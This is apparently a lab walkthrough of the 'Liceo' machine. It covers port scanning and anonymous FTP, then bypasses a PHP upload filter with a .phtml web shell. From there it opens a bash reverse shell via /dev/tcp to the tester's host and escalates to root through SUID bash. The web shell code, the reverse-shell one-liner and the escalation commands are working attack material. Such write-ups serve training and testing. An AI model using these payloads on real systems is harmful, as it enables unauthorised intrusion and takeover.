Liceo

In this machine we bypass the website's file upload protection and escalate privileges through a misconfigured SUID permission
March 28, 20246 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.818 ms
--- 192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.818/0.818/0.818/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 64, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.149 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 192.168.1.149
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> sudo nmap -p21,22,80 -sCV 192.168.1.149 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.145
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_ 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
FTP
nmap reported that port 21 is open and has an FTP with “Anonymous login allowed”, and inside there is a file called note.txt
> wget ftp://192.168.1.149/note.txt
note.txt 100%[=========================================================================================================================>] 191 --.-KB/s in 0s
2024-03-28 14:19:49 (891 KB/s) - ‘note.txt’ saved [191]
> cat note.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: note.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Hi Matias, I have left on the web the continuations of today's work,
2 │ would you mind contiuing in your turn and make sure that the web will be secure?
3 │ Above all, we dont't want intruders...
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Hola Matias, te he dejado en la web las continuaciones del trabajo de hoy,
¿Te importaría continuar en tu turno y asegurarte de que la web sea segura?
Sobre todo, no queremos intrusos...
From this message we can deduce a possible user called Matias.
HTTP
We start by analyzing the website with whatweb
> whatweb 192.168.1.149
http://192.168.1.149 [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.149], JQuery[3.4.1], Script, Title[Liceo], X-UA-Compatible[IE=edge]
We have an email address: [email protected]
This email address uses the liceo.com domain. We can use this information later to look for subdomains.
If we look at the website in the browser, we don’t see any notable functionality, so we fuzz for subdirectories with gobuster
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.149 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.149
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/images (Status: 301) [Size: 315] [--> http://192.168.1.149/images/]
/index.html (Status: 200) [Size: 21487]
/.html (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://192.168.1.149/uploads/]
/upload.php (Status: 200) [Size: 371]
/css (Status: 301) [Size: 312] [--> http://192.168.1.149/css/]
/js (Status: 301) [Size: 311] [--> http://192.168.1.149/js/]
2 paths quickly show up that stand out: uploads and upload.php
In upload.php we can upload a file, so we upload a simple PHP file and intercept the request with Burp Suite

We get an error saying files with the php extension can’t be uploaded. PHP scripts can use extensions other than php, so to find out which ones are blocked we’ll use Burp Suite’s Intruder.

We set the extension as a variable and load a payload with all the extensions
> cat Downloads/extensions.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────
│ File: Downloads/extensions.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────
1 │ php
2 │ php2
3 │ php3
4 │ php4
5 │ php5
6 │ php6
7 │ php7
8 │ phps
9 │ phps
10 │ pht
11 │ phtm
12 │ phtml
13 │ pgif
14 │ shtml
15 │ htaccess
16 │ phar
17 │ inc
18 │ hphp
19 │ ctp
20 │ module
───────┴──────────────────────────────────────────────────────────────────────────────────────────────

Now we can see the result for the other extensions

In the end, the only blocked one was .php
Now we can run commands
> curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=whoami"
www-data
What code does shell.phtml have that lets us run commands?
The shell.php file has the following code
<?php echo shell_exec($_GET["telepathy"]); ?>
What it basically does is pass everything it receives via GET in the telepathy parameter to the shell_exec function.
shell_exec runs commands on the system but doesn’t print the output; to make it print the output, you have to put echo in front
Without echo
d3bo~> cat test.php
1 <?php shell_exec("whoami") ?>
d3bo~> php test.php
With echo
d3bo~> cat test.php
1 <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo
If shell_exec didn’t work or were blocked, other functions could be used. Here are some examples
system()
d3bo~> cat test.php
1 <?php system("whoami") ?>
d3bo~> php test.php
d3bo
passthru()
d3bo~> cat test.php
1 <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo
exec()
d3bo~> cat test.php
1 <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo
popen()
d3bo~> cat test.php
1 <?php
2 $handle = popen('whoami', 'r');
3 $read = fread($handle, 2096);
4 pclose($handle);
5 echo $read;
6 ?>
7
d3bo~> php test.php
d3bo
Exploitation
To get access to the machine, we listen on port 443
nc -nlvp 443
And we send ourselves the reverse shell
curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=bash -c 'bash -i >& /dev/tcp/192.168.1.145/443 0>&1'"
Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
Privilege escalation
We start the escalation by looking for files with SUID permissions
bash-5.1$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
....
-rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
-rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
Of all the files listed, one stands out: /usr/bin/bash. If bash has SUID permissions, we can run bash with -p (privileged) and get a root bash
bash-5.1$ /usr/bin/bash -p
bash-5.1# whoami
root
Machine completed